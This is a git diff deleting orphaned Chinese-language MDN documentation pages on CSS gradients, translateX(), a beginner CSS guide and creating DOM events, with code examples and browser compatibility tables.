- background-color: black; - background-image: -moz-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); - background-image: -webkit-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); - background-image: -o-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); - background-image: -ms-repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); - background-image: repeating-linear-gradient(-45deg, transparent, transparent 25px, rgba(255,255,255,1) 25px, rgba(255,255,255,1) 50px); -} -</pre> - -<pre class="brush: html notranslate"><ol> - <li>repeating gradient - <div id="grad1"></div> - </li> - <li>Zebra pattern - <div id="grad2"></div> - </li> -</ol></pre> -</div> - -<p>{{EmbedLiveSample('Example_hidden', '300px', '300px', '')}}</p> - -<h2 id="规格">规格</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规格</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-linear-gradient()')}}</td> - <td>{{Spec2('CSS3 Images')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> - <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[3]</sup><br> - {{CompatGeckoDesktop("16")}}<sup>[5]</sup></td> - <td>10.0 (534.16){{property_prefix("-webkit")}} <sup>[2]</sup><sup>[3]</sup></td> - <td>10.0 <sup>[1]</sup></td> - <td>11.10{{property_prefix("-o")}} <sup>[3]</sup></td> - <td>5.1{{property_prefix("-webkit")}}<sup>[2]</sup><sup>[3]</sup></td> - </tr> - <tr> - <td>On {{cssxref("border-radius")}}</td> - <td>{{CompatGeckoDesktop("29")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>On any other property that accept {{cssxref("<image>")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><a class="external" href="http://www.webkit.org/blog/175/introducing-css-gradients/">Legacy webkit syntax</a>{{non-standard_inline}}</td> - <td>{{CompatNo}}</td> - <td>3{{property_prefix("-webkit")}} <sup>[2]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>4.0{{property_prefix("-webkit")}}<sup>[2]</sup></td> - </tr> - <tr> - <td>Legacy <em>from </em>syntax (without <code>to</code>){{non-standard_inline}}</td> - <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[4]</sup><br> - Removed in {{CompatGeckoDesktop("16")}}<sup>[7]</sup></td> - <td>10.0 (534.16){{property_prefix("-webkit")}} <sup>[2]</sup></td> - <td>10.0</td> - <td>11.10{{property_prefix("-o")}}<sup>[4]</sup></td> - <td>5.1{{property_prefix("-webkit")}}<sup><a href="#bc2%3E">[2]</a></sup></td> - </tr> - <tr> - <td><code>to</code> syntax</td> - <td>{{CompatGeckoDesktop("10")}}{{property_prefix("-moz")}}<sup>[4]</sup><br> - {{CompatGeckoDesktop("16")}}</td> - <td>26.0</td> - <td>10.0</td> - <td>11.60{{property_prefix("-o")}}<sup>[4]</sup><br> - Presto 2.12 will remove the prefix.</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><a href="https://drafts.csswg.org/css-images-4/#color-interpolation-hint">Interpolation hints/gradient midpoints</a> (a percent without a color)</td> - <td>{{CompatGeckoDesktop("36")}}</td> - <td><a href="https://code.google.com/p/chromium/issues/detail?id=420527">40</a></td> - <td>{{CompatUnknown}}</td> - <td>27</td> - <td>{{CompatVersionUnknown}}<sup><a href="#bc2%3E">[6]</a></sup></td> - </tr> - <tr> - <td>Unitless 0 for <code><angle></code></td> - <td>{{CompatGeckoDesktop("46")}}{{property_prefix("-webkit")}}<sup>[8]</sup><br> - {{CompatNo}}<sup>[9]</sup></td> - <td>{{CompatVersionUnknown}}</td> - <td>Edge 12</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Firefox (Gecko)</th> - <th>Chrome</th> - <th>Internet Explorer</th> - <th>Opera (Presto)</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[3]</sup><br> - {{CompatGeckoMobile("16")}}<sup>[5]</sup></td> - <td> - <p>16{{property_prefix("-webkit")}}<br> - 26</p> - </td> - <td>10</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}<sup><a href="#bc2%3E">[6]</a></sup></td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Internet Explorer 5.5 through 9.0 supports proprietary <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code> filter</a>.</p> - -<p>[2] WebKit since 528 supports the legacy <a class="external" href="http://developer.apple.com/safari/library/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html"><code>-webkit-gradient(linear,…)</code> function</a>. As of WebKit 534.16, it also supports the standard gradient syntax. Unlike in Gecko, in legacy WebKit you cannot specify both a position and angle in <code>-webkit-linear-gradient()</code>. You can achieve the same effect by offsetting the color stops.</p> - -<p>[3] Gecko, Opera & Webkit considers {{cssxref("<angle>")}} to start to the right, instead of the top. I.e. it considered an angle of <code>0deg</code> as a direction indicator pointing to the right. This is different from the latest specification where an angle of <code>0deg</code> as a direction indicator points to the top. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> - -<p>[4] Firefox 3.6 and Opera 11.10 implemented, prefixed, an early syntax where the starting corner or side was indicated without the <code>to</code> keyword, and effectively considered as a <em>from</em> position. The <code>to</code> syntax has been added in Firefox 10 and Opera 11.60 , at first without removing the deprecated syntax and translation between the two is trivial:</p> - -<pre class="notranslate">-moz-repeating-linear-gradient(to top left, blue, red);</pre> - -<p>is the same as:</p> - -<pre class="notranslate">-moz-repeating-linear-gradient(bottom right, blue, red);</pre> - -<p>The legacy syntax, without <code>to</code>, is planned to go away when the prefix is removed.</p> - -<p>[5] Before Firefox 36, Gecko didn't apply gradient on the pre-multiplied color space, leading to shade of grey unexpectedly appearing when used with transparency.</p> - -<p>[6] {{webkitbug(1074056)}}.</p> - -<p>[7] In addition to the unprefixed support using the standard syntax, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function using the legacy 'from' syntax for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> - -<p>[8] In <code>-webkit-linear-gradient </code>function (handled below), Gecko accept unitless 0 for angles, to match webkit/blink,See {{bug("1239153")}}.</p> - -<p>[9] See {{bug("1363292")}}.</p> - -<h2 id="了解更多">了解更多</h2> - -<ul> - <li><a href="/en/CSS/Using_CSS_gradients">使用CSS渐变</a></li> - <li>其他渐变方法: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-radial-gradient")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/css/repeating-radial-gradient()/index.html b/files/zh-cn/orphaned/web/css/repeating-radial-gradient()/index.html deleted file mode 100644 index bcbbb20421..0000000000 --- a/files/zh-cn/orphaned/web/css/repeating-radial-gradient()/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: repeating-radial-gradient() -slug: orphaned/Web/CSS/repeating-radial-gradient() -translation_of: Web/CSS/repeating-radial-gradient() -original_slug: Web/CSS/repeating-radial-gradient() ---- -<div>{{CSSRef}}</div> - -<p>CSS函数<strong><code>repeating-radial-gradient()</code></strong> 创建一个从原点辐射的重复渐变组成的{{cssxref("<image>")}} 。它类似于{{cssxref("radial-gradient")}} 并且采用相同的参数,但是它会在所有方向上重复颜色,以覆盖其整个容器。函数的结果是 {{cssxref("<gradient>")}} 数据类型的对象, 是一种特殊的{{cssxref("<image>")}}类型。</p> - -<pre class="brush: css no-line-numbers notranslate">/* 一个从容器中心点开始的重复渐变, - 从红色开始,渐变到蓝色,再渐变到绿色 */ -repeating-radial-gradient(circle at center, red 0, blue, green 30px); -</pre> - -<p>每次重复时,色标位置的偏移量都是基准渐变长度(最后一个色标和第一个之间的距离)的倍数。因此,最后色标的色值应该与第一个色标的色值保持一致;如果不一致的话,会导致非常突兀的渐变效果。</p> - -<p>与其他渐变一样,线形重复渐变没有提供<a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">固定的尺寸</a>; 即, 它没有原始尺寸或首选尺寸,也没有首选的比列。它将自适应于对应元素的尺寸。</p> - -<div class="note"> -<p><strong>提示:</strong> 因为 <code><gradient></code> 属于<code><image></code> 数据类型,所以只能在可以使用 <code><image></code>的地方使用它们。因此<code>repeating-linear-gradient()</code> 不适用于{{Cssxref("background-color")}} 以及使用{{cssxref("<color>")}} 数据类型的地方。</p> -</div> - -<h2 id="语法">语法</h2> - -<h3 id="值">值</h3> - -<dl> - <dt>{{cssxref("<position>")}}</dt> - <dd><code>position</code>与 {{cssxref("background-position")}} 或者 {{cssxref("transform-origin")}}类似。默认值为 <code>center</code>.</dd> - <dt>{{cssxref("<angle>")}}</dt> - <dd>渐变轴的角度。角度顺时针增加,默认值为<code>0deg</code>。</dd> - <dt>{{cssxref("<shape>")}}</dt> - <dd>渐变的形状。圆形(渐变的形状是一个半径不变的正圆)或椭圆形(轴对称椭圆)。默认值为椭圆。默认值为椭圆形,即 <code>ellipse</code>。</dd> - <dt><code><extent-keyword></code></dt> - <dd>关键字用于描述边缘轮廓的具体位置。以下为关键字常量:</dd> - <dd> - <table class="standard-table"> - <tbody> - <tr> - <th>Keyword</th> - <th>Description</th> - </tr> - <tr> - <td><code>closest-side</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最近的一边相切(圆形)或者至少与距离渐变中心点最近的垂直和水平边相切(椭圆)。</td> - </tr> - <tr> - <td><code>closest-corner</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最近的一个角相交。</td> - </tr> - <tr> - <td><code>farthest-side</code></td> - <td>与 <code>closest-side</code>相反,边缘形状与容器距离渐变中心点最远的一边相切(或最远的垂直和水平边)。</td> - </tr> - <tr> - <td><code>farthest-corner</code></td> - <td>渐变的边缘形状与容器距离渐变中心点最远的一个角相交。</td> - </tr> - </tbody> - </table> - - <div class="note"> - <p><strong>提示:</strong> 早期的草案中还包含其他关键字(<code>cover</code> and <code>contain</code>) ,分别相当于标准关键字 <span class="st"><code>farthest-corner</code></span> 和 <code>closest-side</code>,。但因为在某些实现中丢弃了这些旧的关键字,所以请仅使用标准关键字。</p> - </div> - </dd> - <dt><code><color-stop></code></dt> - <dd>表示某个确定位置的固定色值,包含一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/color_value" title="CSS 数据类型 <color> 表示一种标准RGB色彩空间(sRGB color space)的颜色。一种颜色可以用以下任意的方式来描述:"><code><color></code></a>值加上可选的位置值(相对虚拟渐变射线的<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/percentage" title="CSS 数据类型 <percentage> 表述一个百分比值。许多 CSS 属性 可以取百分比值,经常用以根据父对象来确定大小。Percentages are formed by a <number> immediately followed by the percentage sign %. Just as is the case with all other units in CSS, there isn't a space between the '%' and the number."><code><percentage></code></a>或者<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/length" title="是表示距离尺寸的一种css数据格式。它由一个 <number> 后紧随一个长度单位(px,em,pt,in,mm,...)组成。和任何 CSS 尺寸一样,数字和单位之间没有空格。<number> 0之后的长度单位是可选的。"><code><length></code></a>长度值)。 百分比值<code>0%</code>,或者长度值<code>0</code>,表示渐变中心点;百分比值<code>100%</code>表示渐变射线与边缘形状相交的点。 其间的百分比值线性对应渐变射线上的点。</dd> -</dl> - -<h3 id="形式语法">形式语法</h3> - -<pre class="syntaxbox notranslate">repeating-radial-gradient( - [[ circle || <a href="/en-US/docs/CSS/length"><length></a> ] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | - [ ellipse || [<a href="/en-US/docs/CSS/length"><length></a> | <a href="/en-US/docs/CSS/percentage"><percentage></a> ]{2}] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | - [[ circle | ellipse ] || <extent-keyword> ] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | - at <a href="/en-US/docs/Web/CSS/position_value"><position></a> , <color-stop> [ , <color-stop> ]+ ) - \---------------------------------------------------------------/\--------------------------------/ - 定义轮廓、尺寸和结束形状的位置 色标列表 - -where <extent-keyword> = closest-corner | closest-side | farthest-corner | farthest-side - and<code> <color-stop> = <color> [ <percentage> | <length> ]?</code></pre> - -<h2 id="示例">示例</h2> - -<p>径向渐变沿着一条轴线进行渲染。在每个轴线的端点处可以指定一个半径。可以想象为创建了两个“圆”,每个圆的中心位置用点指定,大小由半径值指定。渐变从内圆的圆周向外延伸到外圆的圆周。</p> - -<h3 id="黑白相间的渐变">黑白相间的渐变</h3> - - -<pre class="brush: css notranslate" class="hidden">div { - display: block; - width: 50%; - height: 80px; - border-color: #000000; - padding: 10px; -} -#grad1 { - background: -webkit-repeating-radial-gradient(black, black 5px, white 5px, white 10px); - background: -moz-repeating-radial-gradient(black, black 5px, white 5px, white 10px); - background: -ms-repeating-radial-gradient(black, black 5px, white 5px, white 10px); - background: -o-repeating-radial-gradient(black, black 5px, white 5px, white 10px); - background: repeating-radial-gradient(black, black 5px, white 5px, white 10px); - text-shadow: 1px 1px 0pt black; - color: white; - border: 1px solid black; - height:5.5em; -} -</pre> - -<p>{{EmbedLiveSample('Black_and_white_gradient', '300px', '120px', '')}}</p> - -<pre class="brush: css notranslate">background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);</pre> - -<h3 id="Farthest-corner渐变">Farthest-corner渐变</h3> - - -<pre class="brush: css notranslate" class="hidden">div { - display: block; - width: 50%; - height: 80px; - border-radius: 10px; - border-color: #000000; - padding: 10px; -} -#grad1 { - background: -webkit-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); - background: -moz-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); - background: -ms-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); - background: -o-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); - background: repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); - text-shadow: 1px 1px 0pt blue; - color: white; - border: 1px solid black; - height:5.5em; -} -</pre> - -<p>{{EmbedLiveSample('Farthest-corner', '300px', '120px', '')}}</p> - -<pre class="brush: css notranslate">background: repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%);</pre> - -<h2 id="规格">规格</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规格</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-radial-gradient()')}}</td> - <td>{{Spec2('CSS3 Images')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> - <td>10 {{property_prefix("-webkit")}}</td> - <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<br> - {{CompatGeckoDesktop("16")}}<sup>[1]</sup></td> - <td>10</td> - <td>12 {{property_prefix("-o")}}<br> - 12.5</td> - <td>5.1 {{property_prefix("-webkit")}}</td> - </tr> - <tr> - <td>On {{cssxref("border-image")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("29")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>On any other property that accept {{cssxref("<image>")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>Interpolation hints (a percent without a color)</td> - <td>40</td> - <td>{{CompatGeckoDesktop("36")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> - <td>4.4</td> - <td>{{CompatGeckoMobile("46")}}</td> - <td>10</td> - <td>12.1</td> - <td>7.1</td> - </tr> - <tr> - <td>On {{cssxref("border-image")}}</td> - <td>{{CompatGeckoMobile("29")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>On any other property that accept {{cssxref("<image>")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Before Firefox 36, Gecko didn't apply gradient on the pre-multiplied color space, leading to shade of grey unexpectedly appearing when used with transparency. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> - -<p>In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> - -<h2 id="参阅:">参阅:</h2> - -<ul> - <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_gradients">使用渐变</a></li> - <li>其他渐变方法: {{cssxref("radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/css/transform-function/translatex/index.html b/files/zh-cn/orphaned/web/css/transform-function/translatex/index.html deleted file mode 100644 index 6dfb96744e..0000000000 --- a/files/zh-cn/orphaned/web/css/transform-function/translatex/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: translateX() -slug: orphaned/Web/CSS/transform-function/translateX -tags: - - CSS函数 - - CSS变形属性 - - 参考 -translation_of: Web/CSS/transform-function/translateX -original_slug: Web/CSS/transform-function/translateX ---- -<div>{{CSSRef}}</div> - -<p>translateX()函数表示在二维平面上水平方向移动元素。 其结果的数据类型是{{cssxref("<transform-function>")}}。</p> - -<p><img src="https://mdn.mozillademos.org/files/3544/transform-functions-translateX_2.png" style="height: 146px; width: 243px;"></p> - -<div class="note"> -<p><strong>注意</strong>: <code>translateX(tx)</code>等同于 <a href="/en-US/docs/Web/CSS/transform-function/translate">translate</a>(tx, 0) 或者 <a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d</a>(tx, 0, 0)。</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">translateX(t) -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>t</code></dt> - <dt> 代表了向量平移的横坐标长度{{cssxref("<length>")}}。</dt> -</dl> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">ℝ<sup>2</sup>空间中的笛卡尔坐标</th> - <th scope="col">在ℝℙ<sup>2</sup>上的投影坐标</th> - <th scope="col">在ℝ<sup>3</sup>上的笛卡尔坐标</th> - <th scope="col">在ℝℙ<sup>3</sup>上的投影坐标</th> - </tr> - </thead> - <tbody> - <tr> - <td colspan="1" rowspan="2"> - <p>在ℝ<sup>2 </sup>空间中的平移并非线性变化,因此不能表示为笛卡尔坐标矩阵。</p> - </td> - <td> - <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> - </td> - <td colspan="1" rowspan="2"> - <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> - </td> - <td colspan="1" rowspan="2"> - <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> - - <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> - </td> - </tr> - <tr> - <td><code>[1 0 0 1 t 0]</code></td> - </tr> - </tbody> -</table> - -<h2 id="示例">示例</h2> - -<h3 id="HTML">HTML</h3> - -<pre class="brush: html"><code><div>Static</div> -<div class="moved">Moved</div> -<div>Static</div></code></pre> - -<h3 id="CSS">CSS</h3> - -<pre class="brush: css"><code>div { - width: 60px; - height: 60px; - background-color: skyblue; -} - -.moved { - transform: translateX(10px); /* 等同于 translate(10px) */ - background-color: pink; -}</code></pre> - -<h3 id="结果">结果</h3> - -<p>{{EmbedLiveSample("Examples", 250, 250)}}</p> - -<h2 id="标准化说明">标准化说明</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-translatex", "translateX()")}}</td> - <td>{{Spec2("CSS3 Transforms")}}</td> - <td>原始定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>请前往数据类型{{cssxref("transform-function")}}的页面以查看兼容性信息。</p> - -<h2 id="参阅">参阅</h2> - -<ul> - <li>{{cssxref("transform")}}</li> - <li>{{cssxref("<transform-function>")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/guide/css/css基础/index.html b/files/zh-cn/orphaned/web/guide/css/css基础/index.html deleted file mode 100644 index 89aacb2102..0000000000 --- a/files/zh-cn/orphaned/web/guide/css/css基础/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: CSS基础 -slug: orphaned/Web/Guide/CSS/CSS基础 -tags: - - CSS - - CSS:Getting_Started - - CSS入门 - - CSS教程 - - Web - - 初学者 - - 教程 -original_slug: Web/Guide/CSS/CSS基础 ---- -<p> </p> - -<p>该 <strong>CSS 指南</strong> 将会带你进入 <a href="/zh-CN/docs/CSS">层叠样式表</a> (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。</p> - -<p>本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页 <a href="/zh-CN/docs/CSS">列出了</a> 更多的高级资源。</p> - -<nav class="fancyTOC"><a class="button" href="/zh-CN/docs/CSS/开始/What_is_CSS" rel="next">什么是 CSS</a> <a class="button" href="/zh-CN/docs/CSS/开始/为何使用CSS">为什么使用 CSS</a> <a class="button" href="/zh-CN/docs/CSS/开始/How_CSS_works">CSS 如何工作</a> <a class="button" href="/zh-CN/docs/CSS/开始/Cascading_and_inheritance">层叠与继承</a> <a class="button" href="/zh-CN/docs/CSS/开始/Selectors">选择器</a> <a class="button" href="/zh-CN/docs/CSS/开始/Readable_CSS">可读性良好的 CSS</a> <a class="button" href="/zh-CN/docs/CSS/开始/Text_styles">文本样式</a> <a class="button" href="/zh-CN/docs/CSS/开始/Color">颜色</a> <a class="button" href="/zh-CN/docs/CSS/开始/Content">内容</a> <a class="button" href="/zh-CN/docs/CSS/开始/Lists">列表</a> <a class="button" href="/zh-CN/docs/CSS/开始/Boxes">盒模型</a> <a class="button" href="/zh-CN/docs/CSS/开始/布局">布局</a> <a class="button" href="/zh-CN/docs/CSS/开始/Tables">表格</a> <a class="button" href="/zh-CN/docs/CSS/开始/媒体">媒体</a></nav> - -<h3 id="在开始学习之前你需要准备什么?">在开始学习之前你需要准备什么?</h3> - -<ul> - <li>一个文本编辑器</li> - <li>一个现代浏览器</li> - <li>编辑器与浏览器的基本使用方法</li> -</ul> - -<p>虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。</p> - -<p><strong>注意: </strong>教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与<span class="short_text" id="result_box" lang="zh-CN"><span>正常色觉</span></span>。</p> - -<h2 id="如何使用本指南">如何使用本指南</h2> - -<p>在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。</p> - -<h3 id="第一部分:CSS基础">第一部分:CSS基础</h3> - -<p>在每页中,通过<em>资料</em> 部分来了解 CSS 的工作原理。通过<em>实践</em> 部分来试着在你的计算机上使用 CSS。</p> - -<p>为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。</p> - -<p>为了深入了解 CSS,可以阅读以<em>更多资料</em> 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。</p> - -<h3 id="第二部分:CSS的应用范围">第二部分:CSS的应用范围</h3> - -<p>指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。</p> - -<ol> - <li><strong><a href="/zh-CN/docs/Web/Guide/CSS/Getting_started/JavaScript">JavaScript</a> </strong></li> - <li><strong><a href="/zh-CN/CSS/Getting_Started/SVG_graphics">SVG 图形</a> </strong></li> - <li><strong><a href="/zh-CN/CSS/Getting_Started/XML_data">XML 数据</a> </strong></li> - <li><strong><a href="/zh-CN/CSS/Getting_Started/XBL_bindings">XBL bindings</a> </strong></li> - <li><strong><a href="/zh-CN/CSS/Getting_Started/XUL_user_interfaces">XUL 用户界面</a> </strong></li> -</ol> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/guide/events/creating_and_triggering_events/index.html b/files/zh-cn/orphaned/web/guide/events/creating_and_triggering_events/index.html deleted file mode 100644 index dbc0f65c1f..0000000000 --- a/files/zh-cn/orphaned/web/guide/events/creating_and_triggering_events/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: 创建和触发 events -slug: orphaned/Web/Guide/Events/Creating_and_triggering_events -tags: - - Advanced - - DOM - - Guide - - events -translation_of: Web/Guide/Events/Creating_and_triggering_events -original_slug: Web/Guide/Events/Creating_and_triggering_events ---- -<p>本文演示了如何创建和分派DOM事件。这些事件通常称为<strong>合成事件</strong>,而不是浏览器本身触发的事件。</p> - -<h2 id="创建自定义事件">创建自定义事件</h2> - -<p>Events 可以使用 <a href="/zh/docs/Web/API/Event"><code>Event</code></a> 构造函数创建如下:</p> - -<pre class="brush: js">var event = new Event('build'); - -// Listen for the event. -elem.addEventListener('build', function (e) { ... }, false); - -// Dispatch the event. -elem.dispatchEvent(event);</pre> - -<p>上述代码使用了 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent">EventTarget.dispatchEvent()</a> 方法。</p> - -<p><span style="line-height: 1.5;">绝大多数现代浏览器中都会支持这个构造函数(Internet 